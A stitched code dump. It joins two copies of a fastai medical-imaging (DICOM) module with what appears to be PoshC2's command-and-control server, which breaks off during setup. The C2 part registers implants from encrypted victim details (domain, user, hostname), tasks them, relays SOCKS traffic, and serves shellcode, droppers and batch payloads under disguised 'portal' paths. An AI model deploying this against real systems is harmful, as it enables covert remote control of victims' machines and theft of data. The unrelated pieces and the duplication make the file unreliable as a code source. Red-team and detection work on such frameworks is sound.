self.set_pixels(ndimage.zoom(self.pixel_array, ratio))
# Cell
@patch
def zoom_to(self:DcmDataset, sz):
"Change image size to specified pixel size"
if not isinstance(sz,(list,tuple)): sz=(sz,sz)
rows,cols = sz
self.zoom((rows/self.Rows,cols/self.Columns))
# Cell
@patch(as_prop=True)
def shape(self:DcmDataset):
"Returns the shape of a dicom image as rows and columns"
return self.Rows,self.Columns
# Cell
def _cast_dicom_special(x):
cls = type(x)
if not cls.__module__.startswith('pydicom'): return x
if cls.__base__ == object: return x
return cls.__base__(x)
def _split_elem(res,k,v):
if not isinstance(v,DcmMultiValue): return
res[f'Multi{k}'] = 1
for i,o in enumerate(v): res[f'{k}{'' if i==0 else i}']=o
# Cell
@patch
def as_dict(self:DcmDataset, px_summ=True, window=dicom_windows.brain):
"Convert the header of a dicom into a dictionary"
pxdata = (0x7fe0,0x0010)
vals = [self[o] for o in self.keys() if o != pxdata]
its = [(v.keyword,v.value) for v in vals]
res = dict(its)
res['fname'] = self.filename
for k,v in its: _split_elem(res,k,v)
if not px_summ: return res
stats = 'min','max','mean','std'
try:
pxs = self.pixel_array
for f in stats: res['img_'+f] = getattr(pxs,f)()
res['img_pct_window'] = self.pct_in_window(*window)
except Exception as e:
for f in stats: res['img_'+f] = 0
print(res,e)
for k in res: res[k] = _cast_dicom_special(res[k])
return res
# Cell
def _dcm2dict(fn, window=dicom_windows.brain, px_summ=True, **kwargs):
return fn.dcmread().as_dict(window=window, px_summ=px_summ, **kwargs)
# Cell
@delegates(parallel)
def _from_dicoms(cls, fns, n_workers=0, **kwargs):
return pd.DataFrame(parallel(_dcm2dict, fns, n_workers=n_workers, **kwargs))
pd.DataFrame.from_dicoms = classmethod(_from_dicoms)
# Cell
class DicomSegmentationDataLoaders(DataLoaders):
"Basic wrapper around DICOM `DataLoaders` with factory methods for segmentation problems"
@classmethod
@delegates(DataLoaders.from_dblock)
def from_label_func(cls, path, fnames, label_func, valid_pct=0.2, seed=None, codes=None, item_tfms=None, batch_tfms=None, **kwargs):
"Create from list of `fnames` in `path`s with `label_func`."
dblock = DataBlock(blocks=(ImageBlock(cls=PILDicom), MaskBlock(codes=codes)),
splitter=RandomSplitter(valid_pct, seed=seed),
get_y=label_func,
item_tfms=item_tfms,
batch_tfms=batch_tfms)
res = cls.from_dblock(dblock, fnames, path=path, **kwargs)
return res | # AUTOGENERATED! DO NOT EDIT! File to edit: nbs/60_medical.imaging.ipynb (unless otherwise specified).
__all__ = ['DcmDataset', 'DcmTag', 'DcmMultiValue', 'dcmread', 'get_dicom_files', 'DicomSegmentationDataLoaders',
'get_dicom_files', 'TensorDicom', 'PILDicom', 'pixels', 'scaled_px', 'array_freqhist_bins', 'dicom_windows',
'TensorCTScan', 'PILCTScan', 'uniform_blur2d', 'gauss_blur2d', 'mask2bbox', 'crop_resize', 'shape',
'DicomSegmentationDataLoaders']
# Cell
from ..basics import *
from ..vision.all import *
from ..data.transforms import *
import pydicom,kornia,skimage
from pydicom.dataset import Dataset as DcmDataset
from pydicom.tag import BaseTag as DcmTag
from pydicom.multival import MultiValue as DcmMultiValue
from PIL import Image
try:
import cv2
cv2.setNumThreads(0)
except: pass
# Cell
#nbdev_comment _all_ = ['DcmDataset', 'DcmTag', 'DcmMultiValue', 'dcmread', 'get_dicom_files', 'DicomSegmentationDataLoaders']
# Cell
def get_dicom_files(path, recurse=True, folders=None):
"Get dicom files in `path` recursively, only in `folders`, if specified."
return get_files(path, extensions=[".dcm",".dicom"], recurse=recurse, folders=folders)
# Cell
@patch
def dcmread(fn:Path, force = False):
"Open a `DICOM` file"
return pydicom.dcmread(str(fn), force)
# Cell
class TensorDicom(TensorImage):
"Inherits from `TensorImage` and converts the `pixel_array` into a `TensorDicom`"
_show_args = {'cmap':'gray'}
# Cell
class PILDicom(PILBase):
_open_args,_tensor_cls,_show_args = {},TensorDicom,TensorDicom._show_args
@classmethod
def create(cls, fn:(Path,str,bytes), mode=None)->None:
"Open a `DICOM file` from path `fn` or bytes `fn` and load it as a `PIL Image`"
if isinstance(fn,bytes): im = Image.fromarray(pydicom.dcmread(pydicom.filebase.DicomBytesIO(fn)).pixel_array)
if isinstance(fn,(Path,str)): im = Image.fromarray(pydicom.dcmread(fn).pixel_array)
im.load()
im = im._new(im.im)
return cls(im.convert(mode) if mode else im)
PILDicom._tensor_cls = TensorDicom
# Cell
@patch
def png16read(self:Path): return array(Image.open(self), dtype=np.uint16)
# Cell
@patch(as_prop=True)
def pixels(self:DcmDataset):
"`pixel_array` as a tensor"
return tensor(self.pixel_array.astype(np.float32))
# Cell
@patch(as_prop=True)
def scaled_px(self:DcmDataset):
"`pixels` scaled by `RescaleSlope` and `RescaleIntercept`"
img = self.pixels
if hasattr(self, 'RescaleSlope') and hasattr(self, 'RescaleIntercept') is not None:
return img * self.RescaleSlope + self.RescaleIntercept
else: return img
# Cell
def array_freqhist_bins(self, n_bins=100):
"A numpy based function to split the range of pixel values into groups, such that each group has around the same number of pixels"
imsd = np.sort(self.flatten())
t = np.array([0.001])
t = np.append(t, np.arange(n_bins)/n_bins+(1/2/n_bins))
t = np.append(t, 0.999)
t = (len(imsd)*t+0.5).astype(np.int)
return np.unique(imsd[t])
# Cell
@patch
def freqhist_bins(self:Tensor, n_bins=100):
"A function to split the range of pixel values into groups, such that each group has around the same number of pixels"
imsd = self.view(-1).sort()[0]
t = torch.cat([tensor([0.001]),
torch.arange(n_bins).float()/n_bins+(1/2/n_bins),
tensor([0.999])])
t = (len(imsd)*t).long()
return imsd[t].unique()
# Cell
@patch
def hist_scaled_pt(self:Tensor, brks=None):
# Pytorch-only version - switch to this if/when interp_1d can be optimized
if brks is None: brks = self.freqhist_bins()
brks = brks.to(self.device)
ys = torch.linspace(0., 1., len(brks)).to(self.device)
return self.flatten().interp_1d(brks, ys).reshape(self.shape).clamp(0.,1.)
# Cell
@patch
def hist_scaled(self:Tensor, brks=None):
"Scales a tensor using `freqhist_bins` to values between 0 and 1"
if self.device.type=='cuda': return self.hist_scaled_pt(brks)
if brks is None: brks = self.freqhist_bins()
ys = np.linspace(0., 1., len(brks))
x = self.numpy().flatten()
x = np.interp(x, brks.numpy(), ys)
return tensor(x).reshape(self.shape).clamp(0.,1.)
# Cell
@patch
def hist_scaled(self:DcmDataset, brks=None, min_px=None, max_px=None):
"Pixels scaled to a `min_px` and `max_px` value"
px = self.scaled_px
if min_px is not None: px[px<min_px] = min_px
if max_px is not None: px[px>max_px] = max_px
return px.hist_scaled(brks=brks)
# Cell
@patch
def windowed(self:Tensor, w, l):
"Scale pixel intensity by window width and window level"
px = self.clone()
px_min = l - w//2
px_max = l + w//2
px[px<px_min] = px_min
px[px>px_max] = px_max
return (px-px_min) / (px_max-px_min)
# Cell
@patch
def windowed(self:DcmDataset, w, l):
return self.scaled_px.windowed(w,l)
# Cell
# From https://radiopaedia.org/articles/windowing-ct
dicom_windows = types.SimpleNamespace(
brain=(80,40),
subdural=(254,100),
stroke=(8,32),
brain_bone=(2800,600),
brain_soft=(375,40),
lungs=(1500,-600),
mediastinum=(350,50),
abdomen_soft=(400,50),
liver=(150,30),
spine_soft=(250,50),
spine_bone=(1800,400)
)
# Cell
class TensorCTScan(TensorImageBW):
"Inherits from `TensorImageBW` and converts the `pixel_array` into a `TensorCTScan`"
_show_args = {'cmap':'bone'}
# Cell
class PILCTScan(PILBase): _open_args,_tensor_cls,_show_args = {},TensorCTScan,TensorCTScan._show_args
# Cell
@patch
@delegates(show_image)
def show(self:DcmDataset, scale=True, cmap=plt.cm.bone, min_px=-1100, max_px=None, **kwargs):
"Display a normalized dicom image by default"
px = (self.windowed(*scale) if isinstance(scale,tuple)
else self.hist_scaled(min_px=min_px,max_px=max_px,brks=scale) if isinstance(scale,(ndarray,Tensor))
else self.hist_scaled(min_px=min_px,max_px=max_px) if scale
else self.scaled_px)
show_image(px, cmap=cmap, **kwargs)
# Cell
@patch
def show(self:DcmDataset, frames=1, scale=True, cmap=plt.cm.bone, min_px=-1100, max_px=None, **kwargs):
"Adds functionality to view dicom images where each file may have more than 1 frame"
px = (self.windowed(*scale) if isinstance(scale,tuple)
else self.hist_scaled(min_px=min_px,max_px=max_px,brks=scale) if isinstance(scale,(ndarray,Tensor))
else self.hist_scaled(min_px=min_px,max_px=max_px) if scale
else self.scaled_px)
if px.ndim > 2:
gh=[]
p = px.shape; print(f'{p[0]} frames per file')
for i in range(frames): u = px[i]; gh.append(u)
show_images(gh, **kwargs)
else: show_image(px, cmap=cmap, **kwargs)
# Cell
@patch
def pct_in_window(dcm:DcmDataset, w, l):
"% of pixels in the window `(w,l)`"
px = dcm.scaled_px
return ((px > l-w//2) & (px < l+w//2)).float().mean().item()
# Cell
def uniform_blur2d(x,s):
"Uniformly apply blurring"
w = x.new_ones(1,1,1,s)/s
# Factor 2d conv into 2 1d convs
x = unsqueeze(x, dim=0, n=4-x.dim())
r = (F.conv2d(x, w, padding=s//2))
r = (F.conv2d(r, w.transpose(-1,-2), padding=s//2)).cpu()[:,0]
return r.squeeze()
# Cell
def gauss_blur2d(x,s):
"Apply gaussian_blur2d kornia filter"
s2 = int(s/4)*2+1
x2 = unsqueeze(x, dim=0, n=4-x.dim())
res = kornia.filters.gaussian_blur2d(x2, (s2,s2), (s,s), 'replicate')
return res.squeeze()
# Cell
@patch
def mask_from_blur(x:Tensor, window, sigma=0.3, thresh=0.05, remove_max=True):
"Create a mask from the blurred image"
p = x.windowed(*window)
if remove_max: p[p==1] = 0
return gauss_blur2d(p, s=sigma*x.shape[-1])>thresh
# Cell
@patch
def mask_from_blur(x:DcmDataset, window, sigma=0.3, thresh=0.05, remove_max=True):
"Create a mask from the blurred image"
return to_device(x.scaled_px).mask_from_blur(window, sigma, thresh, remove_max=remove_max)
# Cell
def _px_bounds(x, dim):
c = x.sum(dim).nonzero().cpu()
idxs,vals = torch.unique(c[:,0],return_counts=True)
vs = torch.split_with_sizes(c[:,1],tuple(vals))
d = {k.item():v for k,v in zip(idxs,vs)}
default_u = tensor([0,x.shape[-1]-1])
b = [d.get(o,default_u) for o in range(x.shape[0])]
b = [tensor([o.min(),o.max()]) for o in b]
return torch.stack(b)
# Cell
def mask2bbox(mask):
no_batch = mask.dim()==2
if no_batch: mask = mask[None]
bb1 = _px_bounds(mask,-1).t()
bb2 = _px_bounds(mask,-2).t()
res = torch.stack([bb1,bb2],dim=1).to(mask.device)
return res[...,0] if no_batch else res
# Cell
def _bbs2sizes(crops, init_sz, use_square=True):
bb = crops.flip(1)
szs = (bb[1]-bb[0])
if use_square: szs = szs.max(0)[0][None].repeat((2,1))
overs = (szs+bb[0])>init_sz
bb[0][overs] = init_sz-szs[overs]
lows = (bb[0]/float(init_sz))
return lows,szs/float(init_sz)
# Cell
def crop_resize(x, crops, new_sz):
# NB assumes square inputs. Not tested for non-square anythings!
bs = x.shape[0]
lows,szs = _bbs2sizes(crops, x.shape[-1])
if not isinstance(new_sz,(list,tuple)): new_sz = (new_sz,new_sz)
id_mat = tensor([[1.,0,0],[0,1,0]])[None].repeat((bs,1,1)).to(x.device)
with warnings.catch_warnings():
warnings.filterwarnings('ignore', category=UserWarning)
sp = F.affine_grid(id_mat, (bs,1,*new_sz))+1.
grid = sp*unsqueeze(szs.t(),1,n=2)+unsqueeze(lows.t()*2.,1,n=2)
return F.grid_sample(x.unsqueeze(1), grid-1)
# Cell
@patch
def to_nchan(x:Tensor, wins, bins=None):
res = [x.windowed(*win) for win in wins]
if not isinstance(bins,int) or bins!=0: res.append(x.hist_scaled(bins).clamp(0,1))
dim = [0,1][x.dim()==3]
return TensorCTScan(torch.stack(res, dim=dim))
# Cell
@patch
def to_nchan(x:DcmDataset, wins, bins=None):
return x.scaled_px.to_nchan(wins, bins)
# Cell
@patch
def to_3chan(x:Tensor, win1, win2, bins=None):
return x.to_nchan([win1,win2],bins=bins)
# Cell
@patch
def to_3chan(x:DcmDataset, win1, win2, bins=None):
return x.scaled_px.to_3chan(win1, win2, bins)
# Cell
@patch
def save_jpg(x:(Tensor,DcmDataset), path, wins, bins=None, quality=90):
"Save tensor or dicom image into `jpg` format"
fn = Path(path).with_suffix('.jpg')
x = (x.to_nchan(wins, bins)*255).byte()
im = Image.fromarray(x.permute(1,2,0).numpy(), mode=['RGB','CMYK'][x.shape[0]==4])
im.save(fn, quality=quality)
# Cell
@patch
def to_uint16(x:(Tensor,DcmDataset), bins=None):
"Convert into a unit16 array"
d = x.hist_scaled(bins).clamp(0,1) * 2**16
return d.numpy().astype(np.uint16)
# Cell
@patch
def save_tif16(x:(Tensor,DcmDataset), path, bins=None, compress=True):
"Save tensor or dicom image into `tiff` format"
fn = Path(path).with_suffix('.tif')
Image.fromarray(x.to_uint16(bins)).save(str(fn), compression='tiff_deflate' if compress else None)
# Cell
@patch
def set_pixels(self:DcmDataset, px):
self.PixelData = px.tobytes()
self.Rows,self.Columns = px.shape
DcmDataset.pixel_array = property(DcmDataset.pixel_array.fget, set_pixels)
# Cell
@patch
def zoom(self:DcmDataset, ratio):
"Zoom image by specified ratio"
with warnings.catch_warnings():
warnings.simplefilter("ignore", UserWarning)
self.set_pixels(ndimage.zoom(self.pixel_array, ratio))
# Cell
@patch
def zoom_to(self:DcmDataset, sz):
"Change image size to specified pixel size"
if not isinstance(sz,(list,tuple)): sz=(sz,sz)
rows,cols = sz
self.zoom((rows/self.Rows,cols/self.Columns))
# Cell
@patch(as_prop=True)
def shape(self:DcmDataset):
"Returns the shape of a dicom image as rows and columns"
return self.Rows,self.Columns
# Cell
def _cast_dicom_special(x):
cls = type(x)
if not cls.__module__.startswith('pydicom'): return x
if cls.__base__ == object: return x
return cls.__base__(x)
def _split_elem(res,k,v):
if not isinstance(v,DcmMultiValue): return
res[f'Multi{k}'] = 1
for i,o in enumerate(v): res[f'{k}{"" if i==0 else i}']=o
# Cell
@patch
def as_dict(self:DcmDataset, px_summ=True, window=dicom_windows.brain):
"Convert the header of a dicom into a dictionary"
pxdata = (0x7fe0,0x0010)
vals = [self[o] for o in self.keys() if o != pxdata]
its = [(v.keyword,v.value) for v in vals]
res = dict(its)
res['fname'] = self.filename
for k,v in its: _split_elem(res,k,v)
if not px_summ: return res
stats = 'min','max','mean','std'
try:
pxs = self.pixel_array
for f in stats: res['img_'+f] = getattr(pxs,f)()
res['img_pct_window'] = self.pct_in_window(*window)
except Exception as e:
for f in stats: res['img_'+f] = 0
print(res,e)
for k in res: res[k] = _cast_dicom_special(res[k])
return res
# Cell
def _dcm2dict(fn, window=dicom_windows.brain, px_summ=True, **kwargs):
return fn.dcmread().as_dict(window=window, px_summ=px_summ, **kwargs)
# Cell
@delegates(parallel)
def _from_dicoms(cls, fns, n_workers=0, **kwargs):
return pd.DataFrame(parallel(_dcm2dict, fns, n_workers=n_workers, **kwargs))
pd.DataFrame.from_dicoms = classmethod(_from_dicoms)
# Cell
class DicomSegmentationDataLoaders(DataLoaders):
"Basic wrapper around DICOM `DataLoaders` with factory methods for segmentation problems"
@classmethod
@delegates(DataLoaders.from_dblock)
def from_label_func(cls, path, fnames, label_func, valid_pct=0.2, seed=None, codes=None, item_tfms=None, batch_tfms=None, **kwargs):
"Create from list of `fnames` in `path`s with `label_func`."
dblock = DataBlock(blocks=(ImageBlock(cls=PILDicom), MaskBlock(codes=codes)),
splitter=RandomSplitter(valid_pct, seed=seed),
get_y=label_func,
item_tfms=item_tfms,
batch_tfms=batch_tfms)
res = cls.from_dblock(dblock, fnames, path=path, **kwargs)
return res |
#!/usr/bin/env python3
import os, sys, datetime, time, base64, logging, signal, re, ssl, traceback, threading
from urllib.request import urlopen, Request
from urllib.error import HTTPError, URLError
from socketserver import ThreadingMixIn
from http.server import BaseHTTPRequestHandler, HTTPServer
from poshc2.server.Implant import Implant
from poshc2.server.Tasks import newTask, newTaskOutput
from poshc2.server.Core import decrypt, encrypt, default_response, decrypt_bytes_gzip, number_of_days, process_mimikatz, print_bad
from poshc2.Colours import Colours
from poshc2.server.payloads.Payloads import Payloads
from poshc2.server.Config import PoshProjectDirectory, ServerHeader, PayloadsDirectory, GET_404_Response, DownloadsDirectory, Database, PayloadCommsHost, SocksHost
from poshc2.server.Config import QuickCommand, KillDate, DefaultSleep, DomainFrontHeader, urlConfig, BindIP, BindPort
from poshc2.server.Config import DownloadURI, URLS, SocksURLS, Insecure, UserAgent, Referrer, Pushover_APIToken
from poshc2.server.Config import Pushover_APIUser, EnableNotifications, DatabaseType
from poshc2.server.Cert import create_self_signed_cert
from poshc2.client.Help import logopic
from poshc2.Utils import validate_sleep_time, randomuri, gen_key
from poshc2.server.database.DBType import DBType
from poshc2.server.database.DB import update_sleep, select_item, get_implants_all, update_implant_lastseen, update_task, get_cmd_from_task_id, get_c2server_all, get_sharpurls
from poshc2.server.database.DB import update_item, get_task_owner, get_newimplanturl, initializedb, setupserver, new_urldetails, get_baseenckey, get_c2_messages, database_connect
from poshc2.server.database.DB import db_exists, get_hosted_files, insert_hosted_file
new_implant_url = None
sharpurls = None
hosted_files = None
QuickCommandURI = None
KEY = None
class MyHandler(BaseHTTPRequestHandler):
def signal_handler(self, signal, frame):
sys.exit(0)
signal.signal(signal.SIGINT, signal_handler)
def log_message(self, format, *args):
try:
useragent = str(self.headers['user-agent'])
except Exception:
useragent = "None"
open("%swebserver.log" % PoshProjectDirectory, "a").write("%s - [%s] %s %s\n" %
(self.address_string(), self.log_date_time_string(), format % args, useragent))
def do_HEAD(self):
"""Respond to a HEAD request."""
self.server_version = ServerHeader
self.sys_version = ""
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
def do_OPTIONS(self):
"""Respond to a HEAD request."""
self.server_version = ServerHeader
self.sys_version = ""
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
def do_PUT(self):
"""Respond to a PUT request."""
self.server_version = ServerHeader
self.sys_version = ""
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
def do_GET(self):
try:
"""Respond to a GET request."""
response_content_len = None
response_code = 200
response_content_type = "text/html"
response_content = None
hosted_files = get_hosted_files()
logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))
self.cookieHeader = self.headers.get('Cookie')
self.ref = self.headers.get('Referer')
UriPath = str(self.path)
sharplist = []
for hosted_file in sharpurls:
hosted_file = hosted_file.replace(" ", "")
hosted_file = hosted_file.replace("\"", "")
sharplist.append("/" + hosted_file)
self.server_version = ServerHeader
self.sys_version = ""
if not self.cookieHeader:
self.cookieHeader = "NONE"
# implant gets a new task
new_task = newTask(self.path)
if new_task:
response_content = new_task
elif [ele for ele in sharplist if(ele in UriPath)]:
try:
open("%swebserver.log" % PoshProjectDirectory, "a").write("%s - [%s] Making GET connection to SharpSocks %s%s\r\n" % (self.address_string(), self.log_date_time_string(), SocksHost, UriPath))
r = Request("%s%s" % (SocksHost, UriPath), headers={'Accept-Encoding': 'gzip', 'Cookie': '%s' % self.cookieHeader, 'User-Agent': UserAgent})
res = urlopen(r)
sharpout = res.read()
response_content_len = len(sharpout)
if (len(sharpout) > 0):
response_content = sharpout
except HTTPError as e:
response_code = e.code
open("%swebserver.log" % PoshProjectDirectory, "a").write("[-] Error with SharpSocks - is SharpSocks running %s%s\r\n%s\r\n" % (SocksHost, UriPath, traceback.format_exc()))
open("%swebserver.log" % PoshProjectDirectory, "a").write("[-] SharpSocks %s\r\n" % e)
except Exception as e:
open("%swebserver.log" % PoshProjectDirectory, "a").write("[-] Error with SharpSocks - is SharpSocks running %s%s \r\n%s\r\n" % (SocksHost, UriPath, traceback.format_exc()))
open("%swebserver.log" % PoshProjectDirectory, "a").write("[-] SharpSocks %s\r\n" % e)
print(Colours.RED + f"Unknown C2 comms incoming (Could be old implant or sharpsocks) - {self.client_address[0]} {UriPath}" + Colours.END)
response_code = 404
HTTPResponsePage = select_item("GET_404_Response", "C2Server")
if HTTPResponsePage:
response_content = bytes(HTTPResponsePage, "utf-8")
else:
response_content = bytes(GET_404_Response, "utf-8")
# dynamically hosted files
elif [ele for ele in hosted_files if(ele.URI in self.path)]:
for hosted_file in hosted_files:
if hosted_file.URI == self.path or f"/{hosted_file.URI}" == self.path and hosted_file.Active == "Yes":
try:
response_content = open(hosted_file.FilePath, 'rb').read()
except FileNotFoundError as e:
print_bad(f"Hosted file not found (src_addr: {self.client_address[0]}): {hosted_file.URI} -> {e.filename}")
response_content_type = hosted_file.ContentType
if hosted_file.Base64 == "Yes":
response_content = base64.b64encode(response_content)
# do this for the python dropper only
if "_py" in hosted_file.URI:
response_content = "a" + "".join("{:02x}".format(c) for c in response_content)
response_content = bytes(response_content, "utf-8")
# register new implant
elif new_implant_url in self.path and self.cookieHeader.startswith("SessionID"):
implant_type = "PS"
if self.path == ("%s?p" % new_implant_url):
implant_type = "PS Proxy"
if self.path == ("%s?d" % new_implant_url):
implant_type = "PS Daisy"
if self.path == ("%s?m" % new_implant_url):
implant_type = "Python"
if self.path == ("%s?d?m" % new_implant_url):
implant_type = "Python Daisy"
if self.path == ("%s?p?m" % new_implant_url):
implant_type = "Python Proxy"
if self.path == ("%s?c" % new_implant_url):
implant_type = "C#"
if self.path == ("%s?d?c" % new_implant_url):
implant_type = "C# Daisy"
if self.path == ("%s?p?c" % new_implant_url):
implant_type = "C# Proxy"
if implant_type.startswith("C#"):
cookieVal = (self.cookieHeader).replace("SessionID=", "")
decCookie = decrypt(KEY, cookieVal)
IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1])
Domain, User, Hostname, Arch, PID, URLID = decCookie.split(";")
URLID = URLID.replace("\x00", "")
if "\\" in User:
User = User[User.index("\\") + 1:]
newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), Arch, PID, int(URLID))
newImplant.save()
newImplant.display()
newImplant.autoruns()
response_content = encrypt(KEY, newImplant.SharpCore)
elif implant_type.startswith("Python"):
cookieVal = (self.cookieHeader).replace("SessionID=", "")
decCookie = decrypt(KEY, cookieVal)
IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1])
User, Domain, Hostname, Arch, PID, URLID = decCookie.split(";")
URLID = URLID.replace("\x00", "")
newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), Arch, PID, URLID)
newImplant.save()
newImplant.display()
response_content = encrypt(KEY, newImplant.PythonCore)
else:
try:
cookieVal = (self.cookieHeader).replace("SessionID=", "")
decCookie = decrypt(KEY.encode("utf-8"), cookieVal)
decCookie = str(decCookie)
Domain, User, Hostname, Arch, PID, URLID = decCookie.split(";")
URLID = URLID.replace("\x00", "")
IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1])
if "\\" in str(User):
User = User[str(User).index('\\') + 1:]
newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), Arch, PID, URLID)
newImplant.save()
newImplant.display()
newImplant.autoruns()
response_content = encrypt(KEY, newImplant.PSCore)
except Exception as e:
print("Decryption error: %s" % e)
traceback.print_exc()
response_code = 404
HTTPResponsePage = select_item("GET_404_Response", "C2Server")
if HTTPResponsePage:
response_content = bytes(HTTPResponsePage, "utf-8")
else:
response_content = bytes(GET_404_Response, "utf-8")
else:
response_code = 404
HTTPResponsePage = select_item("GET_404_Response", "C2Server")
if HTTPResponsePage:
response_content = bytes(HTTPResponsePage, "utf-8")
else:
response_content = bytes(GET_404_Response, "utf-8")
# send response
self.send_response(response_code)
self.send_header("Content-type", response_content_type)
if response_content_len is not None:
self.send_header("Connection", "close")
self.send_header("Content-Length", response_content_len)
self.end_headers()
if response_content is not None:
self.wfile.write(response_content)
except Exception as e:
if 'broken pipe' not in str(e).lower():
print_bad("Error handling GET request: " + str(e))
traceback.print_exc()
def do_POST(self):
try:
"""Respond to a POST request."""
response_content_len = None
response_code = 200
response_content_type = "text/html"
response_content = None
self.server_version = ServerHeader
self.sys_version = ""
try:
content_length = int(self.headers['Content-Length'])
except ValueError:
content_length = 0
self.cookieHeader = self.headers.get('Cookie')
if self.cookieHeader is not None:
cookieVal = self.cookieHeader.replace("SessionID=", "")
else:
cookieVal = ""
post_data = self.rfile.read(content_length)
logging.info("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n", str(self.path), str(self.headers), post_data)
newTaskOutput(self.path, cookieVal, post_data)
except Exception as e:
if 'broken pipe' not in str(e).lower():
print_bad("Error handling POST request: " + str(e))
traceback.print_exc()
finally:
try:
UriPath = str(self.path)
sharplist = []
for implant in sharpurls:
implant = implant.replace(" ", "")
implant = implant.replace("\"", "")
sharplist.append("/" + implant)
if [ele for ele in sharplist if(ele in UriPath)]:
try:
open("%swebserver.log" % PoshProjectDirectory, "a").write("[+] Making POST connection to SharpSocks %s%s\r\n" % (SocksHost, UriPath))
r = Request("%s%s" % (SocksHost, UriPath), headers={'Cookie': '%s' % self.cookieHeader, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36'})
res = urlopen(r, post_data)
sharpout = res.read()
response_code = res.getcode()
response_content_len = len(sharpout)
if (len(sharpout) > 0):
response_content = sharpout
except URLError as e:
response_code = 500
response_content_len = len(sharpout)
open("%swebserver.log" % PoshProjectDirectory, "a").write("[-] URLError with SharpSocks - is SharpSocks running %s%s\r\n%s\r\n" % (SocksHost, UriPath, traceback.format_exc()))
open("%swebserver.log" % PoshProjectDirectory, "a").write("[-] SharpSocks %s\r\n" % e)
except Exception as e:
response_code = 404
response_content_len = len(sharpout)
open("%swebserver.log" % PoshProjectDirectory, "a").write("[-] Error with SharpSocks - is SharpSocks running %s%s\r\n%s\r\n" % (SocksHost, UriPath, traceback.format_exc()))
open("%swebserver.log" % PoshProjectDirectory, "a").write("[-] SharpSocks %s\r\n" % e)
print(Colours.RED + f"Unknown C2 comms incoming (Could be old implant or sharpsocks) - {self.client_address[0]} {UriPath}" + Colours.END)
HTTPResponsePage = select_item("GET_404_Response", "C2Server")
if HTTPResponsePage:
response_content = bytes(HTTPResponsePage, "utf-8")
else:
response_content = bytes(GET_404_Response, "utf-8")
else:
response_content = default_response()
# send response
self.send_response(response_code)
self.send_header("Content-type", response_content_type)
if response_content_len is not None:
self.send_header("Connection", "close")
self.send_header("Content-Length", response_content_len)
self.end_headers()
if response_content is not None:
self.wfile.write(response_content)
except Exception as e:
print(Colours.RED + "Generic error in POST request!" + Colours.END)
print(Colours.RED + UriPath + Colours.END)
print(str(e))
traceback.print_exc()
ThreadingMixIn.daemon_threads = True
class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
"""Handle requests in a separate thread."""
def newdb(db):
print("Initializing new project folder and %s database" % db.value + Colours.GREEN)
print("")
directory = os.path.dirname(PoshProjectDirectory)
if not os.path.exists(directory):
os.makedirs(directory)
if not os.path.exists("%s/downloads" % directory):
os.makedirs("%s/downloads" % directory)
if not os.path.exists("%s/reports" % directory):
os.makedirs("%s/reports" % directory)
if not os.path.exists("%s/payloads" % directory):
os.makedirs("%s/payloads" % directory)
initializedb()
if not validate_sleep_time(DefaultSleep):
print(Colours.RED)
print("Invalid DefaultSleep in config, please specify a time such as 50s, 10m or 1h")
print(Colours.GREEN)
sys.exit(1)
setupserver(PayloadCommsHost, gen_key().decode("utf-8"), DomainFrontHeader, DefaultSleep, KillDate, GET_404_Response, PoshProjectDirectory, QuickCommand, DownloadURI, "", "", "", URLS, SocksURLS, Insecure, UserAgent, Referrer, Pushover_APIToken, Pushover_APIUser, EnableNotifications)
rewriteFile = "%s/rewrite-rules.txt" % directory
print("Creating Rewrite Rules in: " + rewriteFile)
rewriteHeader = ["RewriteEngine On", "SSLProxyEngine On", "SSLProxyCheckPeerCN Off", "SSLProxyVerify none", "SSLProxyCheckPeerName off", "SSLProxyCheckPeerExpire off", "# Change IPs to point at C2 infrastructure below", "Define PoshC2 10.0.0.1", "Define SharpSocks 10.0.0.1"]
rewriteFileContents = rewriteHeader + urlConfig.fetchRewriteRules() + urlConfig.fetchSocksRewriteRules()
with open(rewriteFile, 'w') as outFile:
for line in rewriteFileContents:
outFile.write(line)
outFile.write('\n')
outFile.close()
C2 = get_c2server_all()
urlId = new_urldetails("default", C2.PayloadCommsHost, C2.DomainFrontHeader, "", "", "", "")
newPayload = Payloads(C2.KillDate, C2.EncKey, C2.Insecure, C2.UserAgent, C2.Referrer, get_newimplanturl(), PayloadsDirectory, URLID=urlId)
newPayload.CreateAll()
create_self_signed_cert(PoshProjectDirectory)
newPayload.WriteQuickstart(directory + '/quickstart.txt')
# adding default hosted payloads
QuickCommandURI = select_item("QuickCommand", "C2Server")
insert_hosted_file("%ss/86/portal" % QuickCommandURI, "%sSharp_v4_x86_Shellcode.bin" % (PayloadsDirectory), "text/html", "Yes", "Yes")
insert_hosted_file("%ss/64/portal" % QuickCommandURI, "%sSharp_v4_x64_Shellcode.bin" % (PayloadsDirectory), "text/html", "Yes", "Yes")
insert_hosted_file("%sp/86/portal" % QuickCommandURI, "%sPosh_v4_x86_Shellcode.bin" % (PayloadsDirectory), "application/x-msdownload", "No", "Yes")
insert_hosted_file("%sp/64/portal" % QuickCommandURI, "%sPosh_v4_x64_Shellcode.bin" % (PayloadsDirectory), "application/x-msdownload", "No", "Yes")
insert_hosted_file("%s_ex86" % QuickCommandURI, "%sPosh_v4_dropper_x86.exe" % (PayloadsDirectory), "application/x-msdownload", "No", "Yes")
insert_hosted_file("%s_ex64" % QuickCommandURI, "%sPosh_v4_dropper_x64.exe" % (PayloadsDirectory), "application/x-msdownload", "No", "Yes")
insert_hosted_file("%s_bs" % QuickCommandURI, "%spayload.bat" % (PayloadsDirectory), "text/html", "No", "Yes")
insert_hosted_file("%s_rp" % QuickCommandURI, "%spayload.txt" % (PayloadsDirectory), "text/html", "Yes", "Yes")
